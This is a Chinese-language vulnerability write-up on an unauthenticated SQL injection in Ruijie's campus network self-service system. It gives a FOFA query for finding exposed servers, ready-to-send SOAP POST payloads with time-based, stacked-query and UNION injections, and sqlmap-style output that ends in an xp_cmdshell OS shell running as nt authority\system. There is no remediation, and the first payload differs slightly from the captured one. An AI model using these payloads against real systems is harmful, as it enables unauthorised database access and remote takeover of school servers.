

R3-2锐捷-校园网自助服务系统-SQL

漏洞描述：

锐捷校园网自助[服务系统](#) operatorReportorRoamService 接口存在SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库操作权限，进一步利用os-shell可实现远程命令执行，存在服务器被控的风险。

网站图片：



网络测绘：

fofa语法：

FOFA: title=="校园网自助服务系统"

漏洞复现：

payload:

```
POST /selfservice/service/operatorReportorRoamService HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.webservice.common.spl.ruijie.com">
<soapenv:Header/>
<soapenv:Body>
<ser:queryOperatorUuid>
<!--type: string-->
<ser:in0>'0:0:5'---</ser:in0>
</ser:queryOperatorUuid>
</soapenv:Body>
</soapenv:Envelope>
```

效果图:

延时5秒

Request

< > 数据包扫描 美化 热加载 构造请求

1 POST /selfservice/service/operatorReportorRoamService HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 Upgrade-Insecure-Requests: 1

8 Connection: close

9 Content-Type: text/xml; charset=UTF-8

10

11 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.webservice.common.spl.ruijie.com">

12 <soapenv:Header/>

13 <soapenv:Body>

14 <ser:queryOperatorUid>

15 <!--type: string-->

16 <ser:in0>'WAITFOR DELAY '0:0:5'--</ser:in0>

17 </ser:queryOperatorUid>

18 </soapenv:Body>

19 </soapenv:Envelope>

Responses 1047bytes / 5016ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 X-Powered-By: Servlet/2.5; JBoss

4 Pragma: no-cache

5 Cache-Control: no-cache

6 Expires: Thu, 01 Jan 1970 00:00:00 GMT

7 Set-Cookie: JSESSIONID=8010D77AB

8 Content-Type: text/xml; charset=UTF-8

9 Date: Mon, 22 Apr 2024 09:03:04 GMT

10 Connection: close

11 Content-Length: 1047

12

13 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/2001/XMLSchema-instance" xmlns:ser="http://service.webservice.common.spl.ruijie.com"><soap:Body><ser:queryOperatorUidResponse xmlns:ser="http://service.webservice.common.spl.ruijie.com" domain="service.webservice.common.spl.ruijie.com" errorMessage="" operatorUid=" " xsi:nil="true"/></soap:Body></soap:Envelope>

RCE

```

Parameter: SOAP #1* ((custom) POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ser:queryOperatorUid><!--type: string--><ser:in0>'WAITFOR DELAY '0:0:5'--</ser:in0></ser:queryOperatorUid></soapenv:Body></soapenv:Envelope>

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ser:queryOperatorUid><!--type: string--><ser:in0>' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(118)+CHAR(98)+CHAR(113)+CHAR(77)+CHAR(122)+CHAR(74)+CHAR(116)+CHAR(69)+CHAR(121)+CHAR(69)+CHAR(106)+CHAR(74)+CHAR(111)+CHAR(67)+CHAR(69)+CHAR(1068)+CHAR(105)+CHAR(87)+CHAR(66)+CHAR(105)+CHAR(81)+CHAR(100)+CHAR(118)+CHAR(74)+CHAR(86)+CHAR(83)+CHAR(112)+CHAR(107)+CHAR(107)+CHAR(113)-- SyYJ</ser:in0></ser:queryOperatorUid></soapenv:Body></soapenv:Envelope>

---
[17:06:09] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JBoss 5.0, Servlet 2.5, JSP
back-end DBMS: Microsoft SQL Server 2008
[17:06:09] [INFO] testing if current user is DBA
[17:06:09] [INFO] testing if xp_cmdshell extended procedure is usable
[17:06:10] [INFO] xp_cmdshell extended procedure is usable
[17:06:10] [INFO] going to use extended procedure 'xp_cmdshell' for operating system command execution
[17:06:10] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'nt authority\system'
os-shell>

```